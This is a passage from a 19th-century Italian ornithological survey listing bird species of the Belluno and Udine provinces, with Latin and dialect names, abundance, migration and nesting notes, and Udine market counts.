vulgaris, Pojana (B. C.); Pojana, Gnia, Avión (F.). Frequent, nidificante e di doppio passo nel Cadore; sedentaria nel Feltrino. Pernis apivorus, Pojana (B.). Scarso e forse nidificante al piano. Falco Peregrinus, Falchét (B. C.); Falchét, Oselazh (F.). Sedentario ai monti; scarso nel Cadore, frequent nel Feltrino. Hypotriorchis Subbuteo, Falchét (B. F.). Frequent di doppio passo nel Feltrino. Æsalon regulus, Falchét (B.); Astoréla, Storéla (F.). Frequent di doppio passo e forse nidificante nel Feltrino. Cerchneis Tinnunculus, Storéla (B.); Falchét de tore, Storéla du campanil (F.). Scarso, ma sedentario. Cerchneis Naumanni, Galinél, Storéla piccola (F.). Estivo e non raro nel Feltrino. Cerchneis vespertinus, Falchét, Storéla (B.). Comune, estivo e nidificante. Astur palumbarius, Sparvier da colombi (B.); Astór (F. C.). Frequent e sedentario ai monti, più scarso nel Feltrino. Accipiter Nisus, Sparvier, Filandél (B.); Sparvier, Falchetin (F.), Galinél (C.). Frequent e sedentario. Gypaëtus barbatus, Storázh, Falcón (F.). Scarsa, ma sedentaria sugli alti monti del Feltrino. Ardea cinerea, Airón (B.); Airón zhenerin (F.). Scarso al piano in aprile. Ardea purpurea, Airón (B.). Scarso, di doppio passo al piano. Egretta alba, Airón bianco (B. F.). Di casuale comparsa d’inverno al piano. Ardea Garzetta, Airón bianco (B.). Rara, di doppio passo al piano. Ardetta minuta, Tarabús (B.); Tarabusét (F.). Di scarso passaggio e forse nidificante al piano. Botaurus stellaris, Tarabúso (B. F.). Accidentale nel Cadore, frequente al piano di doppio passo nel Feltrino. Nycticorax griseus, Airon dal becol negro (B.): Tarabúso zhererin, Tarabús dalle ongie col péten (F.). Scarso al piano, di passo in aprile. Ciconia alba, Zhicogna (B.). Scarsa di doppio passaggio al piano. Anser cinereus, Oca grande (B.); Och, Oca salvarega (F.). Di scarso passaggio, specialmente in marzo, nel Feltrino. Anser segetum, Oca pizhola (B.); Och, Oca salvarega (F.). Di scarso passaggio in marzo. Anas Boscas, Anera salvarega, Mazurin (B.); Anera grossa, Mazhorin (F. C.). Frequente, di doppio passaggio e anche nidificante al piano nel Feltrino. Dafila acuta, Anera subiota (B.); Anera vis-ciarola, Anera della coa longa (F.). Di scarso doppio passaggio al piano. Spatula clypeata, Anera salvarega (B.); Anerón (F.). Di scarso passaggio al piano in aprile. Mareca Penelope, Anera medana (B.). Di scarso doppio passo al piano. Nettion Crecca, Crecola (B.); Crecola, Crecoléta (F.). Frequente di doppio passo al piano. Querqueda Circia, Crecola (B.); Crecoléta (F.). Di passo abbondante in marzo ed aprile. Fulix ferina, Moréta (B.). Di scarso doppio passo. Fulix Fuligula, Moréta (B.); Crecola mora (F.). Di doppio passaggio abbondante. Mergus Merganser, Anerón dal bech sotil (F.). Di scarso passaggio nell’inverno. Columba Palumbus, Grotón dalla colana (B.): Colombo salvarego, Grotón (F.): Colombo salvarego (C.). Frequente, nidificante e di doppio passo. Columba Oenas, Grotón (B.): Colombo salvarego (F. C.). Frequente, nidificante e di doppio passo nel Cadore: più scarsa e di solo passo nel Feltrino. Turtur tenera, Tortora, Tortorela (B. C.); Tortorela (F.). Estiva e nidificante; frequente nel Cadore, scarsa nel Feltrino. Perdix saxatilis, Cotorno (B.); Cotorno, Catón (F.): Cotorno, Catón (C.). Frequent e sedentaria ai monti. Starna Perdix, Pernise (B. C.); Pernise, Parnis (F.). Frequent e, nidificante e anche di doppio passo. Coturnix communis, Quaja, Quajót (B. F. C.). Frequent e, nidificante e di doppio passo; raramente svern a. Teitao Urogallus, Gal zedron (B.); Zhedron, Galzhedrón (F.); Gal zhedrón, Grotón (C.). Scarso, sedentario ai monti; va diminuendo. Lyrurus Tetrix, Forzhél, Gal forzhél (B. F.); Gal forzhél. Gal lauriót (C.). Scarso e sedentario ai monti; va diminuendo. Bonasa betulina, Francolin (B. F. C.). Sedentario ai monti; frequent e nel Cadore, più scarso nel Feltrino. Lagopus mutus, Galina bianca (B.); Galinetta, Biancheta (F.); Pita bianca, Pita da giara (C.). Frequent e sedentario ai monti. Rallus aquaticus, Sforzhana (B. C.); Sforzhana (F.). Frequent e, nidificante e di doppio passo al piano nel Feltrino. Ortygometra Porzana, Forzana, Pit (B.); Ral, Realét, Ralet (F.). Frequent e, nidificante e di doppio passo al piano nel Feltrino. Ortygometra Bailloni, Fogieta (B.); Sforzhanéla (F.). Scarsa di doppio passo al piano. Ortygometra parva, Fogieta (B.); Sforzhanéla (F.). Scarsa, di doppio passo al piano. Crex pratin sis, Re da quaje (B.); Baréch, Reguajo (F.). Frequent e, nidificante e di doppio passo nel Feltrino. Gallinula chloropus, Sfogio (B. F.). Comune, nidificante e di doppio passo al piano nel Feltrino. Fulica atra, Fóleya (B. F. C.). Accidentale nel Cadore: di scarso doppio passo nel Feltrino. Grus communis, Grua, Gru (B. F. C.). Di casuale comparsa. Otis Tetrax, Dindio o Dinzio salvarego (F.). Di casuale comparsa in autunno e nella primavera. Edicenemus scolopax, Corlicón (B. F.). Scarso, ma nidificante e di doppio passo nel Feltrino. Charadrius Pluvialis, Coridór (B. F.). Scarso, di doppio passaggio nel Feltrino. Eudromias Morinellus, Corlich (B.). Di scarso passaggio in aprile ed agosto. Ægialitis curonica, Corlichét (B.); Corlich (F.). Scarso, ma nidificante e di doppio passo nel Feltrino. Ægialitis Hiaticula, Corlicón (B.); Coridorón (F.). Scarso, di passo in primavera nel Feltrino. Vanellus Capella, Paonzhin (B.); Pavonzhin (F.). Scarsa di doppio passo. Tringoïdes Hypoleucus, Gravotól (F.). Frequenti, nidificante e di doppio passo nel Feltrino. Totanus Ochropus, Culbianch da acqua (B. F.). Scarso al piano da settembre a maggio. Scolopax Rusticula, Galinazha (B. F. C.). Frequenti, nidificante e di doppio passo. Gallinago major, Ciochéta (B. F.). Di scarso doppio passaggio nel Feltrino. Gallinago cælestis, Becanót (B. F. C.). Scarsa nel Cadore al piano; frequente da luglio a mezzo aprile nel Feltrino. Gallinago Gallinula, Becaréla (B. F.). Frequenti al piano dalla metà di ottobre alla metà di aprile. Numenius Arquata, Arcada (B.). Di casuale comparsa. Hydrochelidon nigra, Zhisilón de mar (F.). Di scarsa comparsa al piano nel maggio. Chroocephalus ridibundus, Cocál (B. F.). Accidentale al piano d'inverno. Podiceps cristatus, Sotaról (B.). Di scarso doppio passo al piano. Podiceps cornutus, Sotaról (B.). Di casuale passaggio in aprile ed agosto. Podiceps nigricollis, Sotaról (B.). Di scarso passaggio in aprile ed agosto. Podiceps fluvialitis, Ral (B.); Pit da acqua (F.). Scarso, ma sedentario nel Feltrino. Udine¹ (Vallon Graziano): La provincia del Friuli racchiude in sè tutte le specie di terreno e tutte quelle delle acque. Noi abbiamo le Alpi che la delimitano completamente a settentrione e la dividono dalle provincie dell'Austria Ungheria; i colli, che occupano buona parte del suolo e che cominciano al basso limite dei monti; i piani, coltivati a granaglie, viti e gelsi; l'estese praterie, non sempre fertili a cagione del terreno ghiaioso; i terreni acquitrinosi, ricoperti da una vegetazione ubertosa e finalmente i terreni paludosi. La provincia conta molti fiumi, fiumi-torrenti, laghi, 19 chilometri di litorale ed altrettanti di laguna. I boschi abbondano in generale sui monti della Carnia, ve ne sono però di abbastanza estesi anche in pianura: i colli sono per buona parte coltivati, del resto coperti d'una discreta vegetazione. Nel piano, come è già detto, vengono coltivati soltanto i gelsi e le viti e tranne nei siti ove i ruscelli o in generale le acque abbondano, imprimendo ai terreni adiacenti un carattere particolare, mancano gli alberi e persino le piante basse. Nel distretto di Udine, che giace in perfetta pianura, abbiamo due torrenti, asciutti la maggior parte dell'anno, ma che pure mantengono sufficiente verdura alle loro sponde; contiamo alcune rogge che non seccano mai e che quindi danno vita ad una gran quantità di piante, che in certi punti formano dei folti boschetti o almeno una serie densa e continuata di siepi. È qui soltanto che gli uccelli insettivori possono trovare comoda stanza, e difatti all'epoca dei due passi varie specie e masse d'individui vi si fermano per qualche tempo. I granivori di passo tirano via, fatta forse eccezione per la Peppola (Fringilla Montifringilla) che ho incontrata di frequente nei campi coltivati. Ad eccezione della Poiana comune (Buteo vulgaris) e del Gheppio ¹ Per il distretto di Udine le osservazioni sono state fatte costantemente tutto l'anno; per quello di Codroipo soltanto durante l'epoca della nidificazione; per la provincia in generale, a seconda della possibilità, la maggior parte però nell'autunno e nell'inverno. (Vallon). (Cerchneis Tinnunculus) che sono sedentarî, non incontriamo che rari assai degli Sparvieri (Accipiter Nisus) giovani o qualche Albanella (Circus); gli altri Rapaci continuano le loro strade e non pagano quindi nessun tributo al distretto. Degli acquatici non parliamo neppure, sebbene nelle roggie sia stato ucciso più d’una volta il Germano reale (Anas Boscas). Comunissimi nelle praterie sono le Lodole (Alauda), lo Strilozzo (Miliaria Projer), la Quaglia (Coturnix communis); abbastanza frequente l’Ortolano (Emberiza Hortulana), il Cardellino, il Verdone, la Sterpazzola, il Saltimpalo, ec. In generale, diciamolo subito, il distretto è povero di specie non solo, ma anche di individui. Da siffatta povertà, passiamo all’esuberante ricchezza; il distretto di Codroipo è un vero Eldorado. Qui le specie sono molteplici, il numero degli individui incalcolabile. Gran parte del terreno è acquitrinoso ed un’infinita quantità di ruscelli, di piccoli fiumi, di roggie, di canali, lo solca in tutte le direzioni. La vegetazione in certi punti è imponente, ricca dappertutto; il terreno è perfettamente piano e la terra, parlando in generale, molto produttiva. Vi crescono bene anche le viti e non di rado incontransi, specialmente lad-dove le acque non padroneggiano troppo, degli estesi vigneti, fiancheggiati dagli immancabili gelsi. Le granaglie producono sufficientemente, e così la canape. Molini abbondano ed è ben naturale in siti dove i fiumi ed i canali sono così frequenti. È facile a comprendere che in siffatti luoghi straricchi di tutto quello che può allettare gli uccelli, essi vi prendano dimora, e che quindi il materiale offrentesi allo studioso di Ornitologia sia della più alta importanza. In primavera e in estate il numero degli uccelli nidificanti è addirittura favoloso; non si fanno più di venti passi da un nido all’altro per le specie d’indole gregaria; talvolta anzi uno sta disopra dell’altro. Mi è accorso spesso di trovare p. es., un nido di Capinera (Monachus Atricapillus) nel cespuglio, che cresceva al piele d’un albero, nel quale il Codibugnolo aveva fabbricato l’artistica sua culla; oppure di rinvenir nei bassi giunchi il nido della Cannajola verdognola (Acrocephalus palustris) e sospeso a quello su d'un ramo più alto, l'impareggiabile costruzione del Pendolino (Egythalus pendulinus); il Tordo, la Cingallegra e l'Usignuolo, li ho trovati nidificanti nel medesimo albero, la Sterpazzola (Sylvia cinerea) con la Ballerina (Motacilla alba), ec. Secondo le mie osservazioni non meno di sessantasei specie vi nidificano, altre tre ne posso aggiungere per osservazioni altrui, delle quali punto non dubito, per cui abbiamo in un distretto soltanto quasi la metà del complessivo (148) delle specie che nidificano nell'intera provincia. Fino ad oggi, anno per anno, ho scoperto qualche nuova specie prolificante ed ho radunato in proposito un rilevante materiale di studio. Le specie più rare di Sylvie hanno qui stanza estiva, in generale gran parte dei Boscherecci vi nidificano, lo stesso dirò di alcuni Pigliamosche, di alcune Cincie, dei Tordi, delle Cutrettole, delle Sciabiche, ec. Durante i due passi incontriamo buon numero di uccelli di ripa, vari acquatici e gabbiani. Anche i Rapaci hanno i loro rappresentanti, specialmente in primavera e qualche specie vi nidifica. Elenco generale delle specie di uccelli che si trovano nella provincia di Udine, coi nomi volgari locali ed indicazioni di frequenza ecc., nonchè notizie sulla migrazione e sulla nidificazione ecc. Corvus Corax, Corvàtt. Scarso, sedentario forse ai monti, erratico nell'autunno. Corvus Corone, Còre. Abbastanza frequente, nidifica sui monti della Carnia. Il signor Vallon mentre si stampava la mia Avifauna Italica aveva sotto il torchio un lavoro speciale sugli uccelli di questa provincia, Corvus Cornix, Còre. Frequentemente ovunque. Corvus frugilegus, Corvàtt. Invernale a branchi; 2. Lycos Monedula, Còre. Non comune in branchetti. Nucifraga Caryocatactes, Fràche nòlis. Scarsa, nidifica nei boschi montuosi della Carnia; in ottobre per pochi giorni vedonsene molte sulle colline, nel 1885 questo passo fu eccezionalmente abbondante. Pica rustica, Badàscule, Chèche. Comunissima e sedentaria; nidifica in marzo ed aprile, usualmente sugli alberi più alti; il 1° maggio 1884 trovai però un nido nel folto di un cespo a 20 cent. dalla superficie dell’acqua. Depone 5-7 uova, incubate dai due genitori per 19-21 giorni; 3. Garrulus glandarius, Chèche, Giàje mate. Comune ovunque e sedentaria, nidifica nell’aprile e maggio; 5-7 uova incubate per 2 settimane; 10. Pyrrhocorax alpinus, Mièrli di montagne. Comune e sedentario ai monti, nidifica sopra Pontebba. Sturnus vulgaris, Sturnèll. Comune e stazionario. Due covate, aprile e giugno; 5-6 uova, incubate 15 giorni dalla femmina; 161. Pastor roseus, Mièrli ross. Avventizio, un giovane fu colto presso Udine il 21 settembre 1884. Fringilla cœlebs, Franzèll. Comunissimo e sedentario. Cova in maggio 5-6 uova M. e F. per 14 giorni; 16056. Fringilla Montifringilla, Montàn, Zavàtul. Invernale abbondante. Anco nidificante, in maggio-giugno, dunque sedentaria; 3460. Petronia stulta. Non comune, nidifica presso Sacile. Passer montanus, Passere di giàmp. Comunissima. Fa varie covate di 4-7 uova da aprile ad agosto; 11800. frutto di sette anni di continue e pazienti ricerche; esso vide la luce nel Bulletin della Società adriatica di Scienze Naturali in Trieste (Vol. IX, n. 2, 1886), col titolo: Note sull’Avifauna del Friuli. Mi sono specialmente giovato qui del pregevole lavoro. Il numero dato in fine alle notizie di molte specie indica quello degli individui notati dal signor Vallon sul mercato di Udine dal 15 agosto a tutto il 31 dicembre 1886. Passer italicæ, Passare taliiane. Comunissima e sedentaria. Fa varie covate da marzo-agosto di 4-7 uova; covano M. e F. per 15 giorni; 722. Passer domesticus, Passare, Passerot, il masch. Comune e sedentaria. Fa varie covate di 4-7 uova da marzo ad agosto, incubano M. e F. per 15 giorni; 125. Coccothraustes vulgaris, Frisott. Comune e nidificante, emigra nell’inverno. Fa due covate di 3-5 uova in maggio e luglio; covano M. e F. per 14-16 giorni; 679. Ligurinus Chloris, Cirant. Comune e sedentario. Fa due covate di 4-6 uova in maggio-luglio; incuba la sola femmina per 15 giorni; 537. Chrysomitrís Spinus, Lujar. Comune da ottobre ad aprile: fors’anche nidificante; 719. Carduelis elegans, Gardèl. Frequente, talvolta sverna. Cova 5-6 uova da marzo-giug.; M. e F. per 12-15 giorni; 407. Serinus hortulanus, Sverzeln. Raro, ma nidific. nel giugno; 6. Cannabina Linota, Faganèll. Assai comune nell’autunno; 1228. Ægiothus rufescens, Sverzùl. Raro, giunge irregolarmente al piano in novembre e dicembre, nidifica molto probabilmente ai monti; 7. Pyrrhula europæa, Sirilòtt. Comune, nidifica ai monti nel maggio, giunge al piano per emigrare, tornando in aprile; 5. Loxia Curvirostra, Bec in eros, Crosnùdd. Abbastanza comune nei boschetti, al piano ed in collina nel dicembre; 1. Euspiza melanocephala, Re di Ortolán. Piuttosto raro, estivo. Cova in maggio 4-5 uova per 15 giorni; 1. Miliaria Projer, Sdrunàl, Petàss. Abbondantissimo nell’estate, più scarso nell’inverno. Fa due covate, aprile e giugno di 3-6 uova, incubate da M. e F. per 15-16 giorni; 500. Emberiza Citrinella, Smajàrd. Comunissimo e sedentario. Cova nel maggio 3-4 uova, 2163. Emberiza Cirlus. Raro e di comparsa irregolare nell’autunno; 3. Emberiza Hortulana, Ortolàn. Estivo e abbondante. Cova nel maggio-giugno 3-5 uova per 15 giorni; 11. Emberiza cæsia. Di comparsa accidentale; 5. Emberiza Cia, Ciipp. Comune assai e nidificante. Cova nel maggio e giugno 4 uova; 826. Emberiza rustica. Accidentale, il 4 dicembre 1886: 1. Emberiza pusilla. Accidentale. Emberiza Schoeniclus, Ciù. Assai comune e sedentario. Fa due covate, maggio e luglio, 4-6 uova per 15 giorni; 460. Emberiza pyrrhuloides. Accidentale. Calcarius nivalis, Ortolan di montagne. Non raro, invernale. Melanocorypha Calandra, Calàndre (?). Rara, invernale; 1. Calandrella brachydactyla, Lodùle di campagne. Accidentale. Alauda arborea, Calandràtt. Comune e sedentaria. Cova in aprile 3-5 uova; 617. Alauda arvensis, Lodùle. Comunissima e sedentaria. Fa tre covate, marzo, maggio e luglio, 4-6 uova; incubano M. e F. per 15 giorni; 1709. Galerita cristata, Lodùle chapelùde. Comune e sedentaria. Fa tre covate, marzo, maggio e luglio, 3-6 uova; cova la sola F. 13-14 giorni; 68. Agrodroma campestris, Calandròn (?). Scarso, nidificante. Cova nel maggio 5 uova per 15 giorni; 2. Corydalla Richardi, Calandrìn. Raro, nidificante. Cova nel maggio 4 uova. Anthus pratensis, Uìte. Comunissima e sedentaria. Fa due covate, aprile e giugno, di 5-6 uova; 7790. Anthus trivialis, Dordin. Comune di passo e nidificante. Cova nel maggio 4-5 uova per 14 giorni; 4657. Anthus Spicoletta, Uìtatt. Frequenté nell’autunno; 766. Budytes flavus, Pastorèlè zàle. Estivo e comune. Cova nel maggio 5-6 uova la sola femmina per 13 giorni; 12. Budytes cinereocapillus. Scarsa ed estiva. Cova in maggio e giugno; 1. Motacilla alba, Pastorèlè blànchë, Scassaçòde. Comune, sedentaria. Due covate, aprile-giugno 4-7 uova, sola femmina per 15 giorni; 159. Calobates melanope, Armentarèsse, Boarine. Comune e sedentaria. Due covate, aprile-giugno, 4-6 uova; covano M. e F. per 14 giorni; 97. **Saxicola Oenanthe**, *Culètt*. Comune ed estivo. Cova nel maggio 4-6 uova; 762. **Saxicola Stapazina**, *Favrett*. Scarsa, ma nidificante. Cova nel maggio 6 uova. **Monticola saxatilis**, *Codàross di montagne*. Estivo. Cova in giugno 5-6 uova; M. e F. per 14-16 giorni; 28. **Monticola Cyanus**, *Pàsser solitìri*. Scarsa ed estiva. Cova in maggio-giugno 5 uova; 18. **Merula nigra**, *Mièrli*. Comunissimo e sedentario. Fa due covate, marzo-giugno, 4-6 uova; M. e F. per 13-16 giorni; 154. **Merula torquata**, *Mièrli de goblùine*. Non raro e apparentemente sedentario ai monti; nidifica nel maggio. **Turdus pilaris**, *Zeneròn*. Abbondante da novem. a marzo; 30. **Turdus iliacus**, *Sgrisul*. Di passo copioso in novembre e marzo; 171. **Turdus musicus**, *Dórde*. Frequente e nidificante. Cova in aprile e giugno, 3-5 uova per 15 giorni; 1605. **Turdus viscivorus**, *Dórde*. Comunissima e nidificante. Fa due covate, marzo-giugno, 3-5 uova, incubate per 15 giorni; 93. **Aëdon Luscinia**, *Rusignùl*. Estivo e comunissimo. Cova in maggio-giugno 4-6 uova; M. e F. per 15 giorni; 28. **Erithacus Rubecula**, *Petaròss*. Comunissimo e sedentario. Cova in maggio-giugno 6 uova, M. e F. per 15 giorni; 941. **Cyanecula Wolfi**, *Petaròss turchin*. Scarso di passo autunnale; 1. **Ruticilla Phœnicurus**, *Codaròss*. Estivo e comune; 519. **Ruticilla titys**, *Scodaròss*. Non comune, invernale; 2. **Pratincola Rubicola**, *Porçhiarùte*, *Grisùtt*, *Grisùte*. Comune e sedentario. Cova in aprile e giugno 6 e 4-5 uova per 15 giorni; 497. **Pratincola Rubetra**, *Grisùtt*. Estivo e piuttosto scarso. Cova in maggio-giugno 5-6 uova per 13-15 giorni; 701. **Sylvia nisoria**, *Blangeton*. Estiva e non rara. Nidifica in maggio-giugno, 5-6 uova incubate dalla femmina per 15 giorni; 1. Sylvia orpheà, Moratulòn. Piuttosto rara ed estiva. Cova in maggio-giugno, 3-5 uova incubate dalla fem., 15 giorni. Sylvia cinerea, Moratule. Comunissima ed estiva. Fa due covate, aprile e giugno, 4-6 uova incubate 11-12 giorni; 79. Sylvia Curruca, Moratule, ? Chacurûte. Rara ed estiva. Fa due covate, aprile e giugno; 4-6 uova covate da M. e F., 15 giorni; 54. Monachus Atricapillus, Caponeri. Comunissima, forse sedentaria. Fa due covate, maggio e luglio, 4-6 uova da M. e F. per 15 giorni; 198. Monachus hortensis. Estivo e non tanto comune; 304. Agrobates familiaris. Accidentale; 1. Phylloscopus sibilator, Çiu-çàu. Comune ed estivo. Una covata in maggio di 5-6 uova, incubate 13 giorni; 76. Phylloscopus Trochilus, Papemosçhin. Abbondante ed estivo. Cova in aprile 5-7 uova per 13 giorni; 507. Phylloscopus rufus, Papemosçhin. Piuttosto scarso. Cova in aprile 5-7 uova per 13 giorni; 1. Hypolais icterina, Beccafigo, (Papefigh) (?). Estivo e scarso. Cova in maggio-giugno 4-6 uova. Hypolais polyglotta, Vitt. Estivo e comune. Cova in giugno 5 uova; incubano M. e F; 52. Acrocephalus palustris. Estiva e piuttosto comune. Cova in maggio-giugno 3-5 uova, la sola femmina per 13 giorni; 27. Acrocephalus streperus. Estiva e piuttosto rara. Cova in maggio-giugno 5 uova. Acrocephalus arundinaceus, Re di Rusignùl. Estivo e comune. Cova in mag.-giug. 3-6 uova per 14-17 giorni; 1. Calamodus schœnobænus. Estivo, nidificante, ma scarso; cova nel maggio. Calamodus aquaticus. Comune ed estivo. Nidifica in maggio-giugno, uova 4-5 covate dalla femm. per 15 giorni; 14. Lusciniola melanopogon. Scarsa, ma nidificante nel giugno, depone 3-5 uova. Locustella nœvia. Scarso nell’autunno. Potamodus luscinioides. Accidentale. Cettia Cettii, Rusignùl matt. Abbastanza comune e sedentario. Fa due covate in aprile e giugno, 4-5 uova incubate per 14 giorni. Troglodytes parvulus, Favìte. Comune e sedentario. Cova 7 uova nel maggio per 15 giorni; M. e F; 20. Cinclus aquaticus, Mièrli d'òghe. Frequente e sedentario. Cova la femmina 4-6 uova per 15-16 giorni nel maggio; 1. Accentor collaris. Frequente e sedentario; 15. Accentor modularis, Passare çharandine. Comune, nidificante. Fa due covate, maggio-luglio di 4-6 uova; 294. Accentor montanellus. Accidentale. Regulus cristatus, Stelin. Frequente e sedentario. Cova in maggio; 11. Regulus ignicapillus, Repipìn. Abbondante e sedentario. Cova in maggio; 13. Ægithalus pendulinus, Mulinarie. Estivo e frequente. Cova in maggio-giugno 4-5 uova per 15-17 giorni; M. e F. Acredula caudata, Parùssole de çòde lunge. Accidentale. Acredula rosea, Parùssole de çòde lunge. Comunissima e sedentaria. Cova in aprile e giugno 10-14 uova; M. e F. per 15 giorni; 3. Parus major, Parùssule. Comune e sedentaria. Fa due covate, maggio e luglio di 8-10 e 6-9 uova, incubano 12-15 giorni M. e F; 216. Parus ater, Parùssule mate. Piuttosto comune, nidificante. Cyanistes cæruleus, Parussulìn. Piuttosto scarsa, sedentaria. Cova in maggio 6-8 uova per 12-15 giorni; M. e F; 13. Pœcile palustris, Parùssule grise. Comune e nidificante: covano M. e F. in aprile-maggio 7-11 uova per 15 giorni. Passa in marzo ed ottobre; 4. Lophophanes cristatus. Piuttosto rara, sedentaria ai monti: nidifica nel giugno, 5 uova. Sitta cæsia, Çui. Comune, nidificante in aprile e maggio, depone 6-8 uova incubate dalla fem. per 12-14 giorni. Certhia brachyactyla, Rampigìn. Frequente e nidificante. Tichodroma muraria, Ragnàr. Scarso e nidificante ai monti. Oriolus Galbula, Luri, (Pápefig). Estivo e frequente. Una covata, fine aprile e maggio, 4-5 uova incubate da M. e F. 15 giorni; 14. Ampelis Garrulus. Accidentale, molti presi nel 1876. Lanius Excubitor, Giàrle zìmule. Non rara, invernale; 8. Lanius minor, Giàrle zìmule. Estiva e frequente. Cova in maggio e giugno 4-7 uova per 13-15 giorni; 57. Lanius Collurio, Giàrle fajàne. Estiva e comunissima. Cova in maggio-giugno 5-6 uova per 14-16 giorni, la sola femmina; 352. Lanius auriculatus, Giàrle. Estiva e piuttosto rara. Cova in maggio-giugno 5-6 uova 14-16 giorni, la sola femmina; 20. Muscicapa Atricapilla. Piuttosto comune, estiva. Cova in maggio-giugno 6 uova per 13-15 giorni, M. e F.; 207. Butalis Grisola, Schassealis, (Batiàlis). Estivo e frequente. Cova in maggio-giugno 3-5 uova 14 giorni, M. e F.; 200. Hirundo rustica, Cisile. Abbondante dal marzo al settembre; due covate, maggio e luglio; 4 a 6 uova covate dalla sola femmina per 15-16 giorni. Chelidon urbica, Rondin. Comune dal marzo all’ottobre; due covate, maggio e luglio, 4 a 6 uova; incubate per 14 giorni dalla sola femmina. Clivicola riparia, Rondul. Raro assai. Cypselus Apus, Rondon, Sbiro. Comune ed estivo. Fa due covate in maggio e luglio, di 2-3 uova, covate dalla sola femmina per 15 giorni. Caprimulgus europaeus, Bochàss. Estivo e frequente: giunge in aprile, nidifica in maggio, parte nel settembre. Dryocopus martius, Picc. Scarso e sedentario ai monti. Picus major, Picc de coròne. Comune e sedentario, nidifica in maggio; 2. Picus medius, Picc mezzàn. Accidentale. Picoïdes tridactylus. Scarso, ma sedentario ai monti. Gecinus viridis, Picc verd. Comune e sedentario; nidifica nel maggio; 9. Gecinus canus, Pice gris. Scarso e, pare, sedentario. Iynx Torquilla, Furmiär, Cuell stuärt. Estivo e comune, 10. Cuculus canorus, Cuce. Estivo e frequente; giunge in aprile parte in ottobre, Depone le uova nel maggio; i pulcini nascono dopo 15-16 giorni; 5. Alcedo Ispida, Plombin. Comune e sedentario. Fa credo due covate, maggio e giugno; uova 5-7, incubazione 15 giorni; 2. Coracias Garrula, Girje marine. Rara, di solo passo in aprile e settembre. Merops Apiaster, Ucièl biel verd. Accidentale nel marzo. Upupa Epopis, Giallat dé bièlle creste. Estiva e non rara; 1. Strix flammea, Cuite, Barbezuan. Comunissimo e sedentario. Nidifica in aprile, 5 a 7 uova covate per 3 settimane; 7. Syrnium Aluco, Aldoc. Piuttosto raro. Syrnium uralense. Accidentale. Nytala Tengmalmi. Rarissima. Asio Otus, Catuss. Non raro e nidificante nel maggio, passa in settembre; 1. Asio accipitrinus, Catuss pizzul. Comune e nidificante; passa in aprile e settembre. Depone in aprile 4-7 uova, incubate dalla femmina per 21-23 giorni. Athene Noctua, Cuss. Comunissima e sedentaria. Nidifica in aprile maggio, 5 a 6 uova incubate in 16-17 giorni; 70. Scops Giu, Catuss, (Cuss). Estivo e frequente; giunge nel marzo, nidifica in maggio, deponendo 6 uova, parte in agosto. Bubo maximus, Barbezuan grand, (Dug). Non raro e nidificante in aprile-maggio; 2. Circus aeruginosus, Pojane col ciaf blanc. Comune e nidificante; di passaggio in marzo, settembre ed ottobre. Una covata in maggio, 4 a 6 uova incubate per 20 giorni dalla sola femmina. Circus cyaneus. Piuttosto rara, di passo in aprile ed ottobre. Circus Swainsoni. Assai rara. Circus cineraceus. Non tanto rara, di passo in ottobre. Pandion Haliaëtus. Accidentale. Circaëtus gallicus. Piuttosto raro. Haliaëtus Albicilla. Scarsa. Aquila Chrysaëtus, Acuile. Non rara e nidificante. Aquila clanga. Accidentale. Archibuteo lagopus. Di accidentale comparsa nell’inverno. Buteo vulgaris, Pojâne. Comune e sedentaria; fa una covata di 3-4 uova in aprile, incubazione 3 settimane M. e F. Pernis apivorus. Non comune, ma nidificante: di passo in aprile. Una covata di 2 uova, nel giugno. Milvus Ictinus. Accidentale. Falco Peregrinus. Raro. Hypotriorchis Subbuteo. Accidentale: Æsalon regulus, Falcùzz. Abbastanza frequente di passo nella prima metà di settembre; 2. Cerchnéis Tinnunculus, Falcùzz di ciàmpanil. Assai comune e sedentario. Fa una sola covata in aprile di 4 a 6 uova, incubate 20-22 giorni; 2. Cerchnéis vespertinus, Balarin (?), Vidul (femm.). Frequente di passo nella seconda metà d’aprile; 2. Astur palumbarius, Astór. Rarissimo. Accipiter Nisus, Sparvál. Frequente, di passo nel settem.; 9. Gyps fulvus. Scarso, ma sedentario sugli alti monti. Vi nidifica nel marzo. Ardea cinerea, Airón blanc. Frequente e sedentario. Nidifica in aprile-maggio. Ardea purpurea, Airón. Estivo, forse nidificante. Egretta alba. Rara, ne vidi un solo. Egretta Garzetta, Sgarzètt blanc. Non rara. Ardeola rallöides, Sgarzètt. Non rara. Ardetta minuta, Sgarzètt pizzul. Piuttosto frequente. Botaurus stellaris, Tarabùs. Comune e nidificante. Cova 4 uova nel maggio. Nycticorax griseus, Sjarz cenerìn. Comune e nidificante. Cova 4 uova nel giugno. Ciconia alba, Cicògne. Rara di passo. Cygnus musicus, Cigno, Ceseno. Di casuale comparsa. Anser cinereus, Oche salvadie. Di scarso passo in marzo; 1. Anser segetum, Oche salvadie. Scarsa, invernale. Anas Boscas, Mazorn. Comunissimo e sedentario. Cova la femmina sola 8-15 uova per 24-26 giorni in aprile-maggio; 137. Spatula clypeata, Palote. Scarso ed invernale. Dafila acuta. Non rara ed invernale. Mareca Penelope, Choss. Comunissimo da settem. a mag.; 12. Nettion Crecca, Ceragine. Invernale, frequente, forse nidificante. Cova in maggio; 2. Querquedula Circia, Crècle. Non rara, nidificante. Cova la sola femmina 10-13 uova nel maggio per 21 giorni; 3. Fuligula rufina, Majas (?). Raro, invernale. Fulix ferina, Cauross. Invernale e comune; 5. Fulix Marila, Moro. Invernale e assai rara. Fulix Fuligula, Invernale e non rara. Fulix Nyroca, Rara ed invernale. Bucephala Clangula, Blancón. Invernale, non raro. Mergus Merganser, Sérule. Raro, invernale. Mergus Serrator, Sérule. Scarso ed invernale. Mergellus Albellus, Sérule. Scarsa ed invernale. Columba Palumbus, Colomb salvadi. Frequente e nidificante. Varie covate di 2 uova da aprile; covano M. e F; 2. Columba Oenas, Colomb. Non rara, nidificante; 3. Columba livia, Colomb. Sedentaria lungo il Natisone; 5. Turtur tenera, Tortorèle. Comune ed estiva. Fa varie covate di 2 uova dal maggio; incubano M. e F. Perdix saxatilis, Catòr. Comune assai e sedentaria. Cova nel maggio 14 uova per 24-25 giorni; 201. Starna Perdix, Pernis, Pernigott. Comunissima e sedentaria. Cova nel maggio 15 uova per circa un mese; 214. Coturnix communis, Cuaje. Comune assai. Cova in giugno-luglio 9-14 uova, la femmina per 18-21 giorni; 2054. Tetrao Urogallus, Giall çedron. Scarso e sedentario ai monti. Cova la sola femmina nel giugno 9-10 uova per un mese; 12. Lyrurus Tetrix, Gialme forcèle. 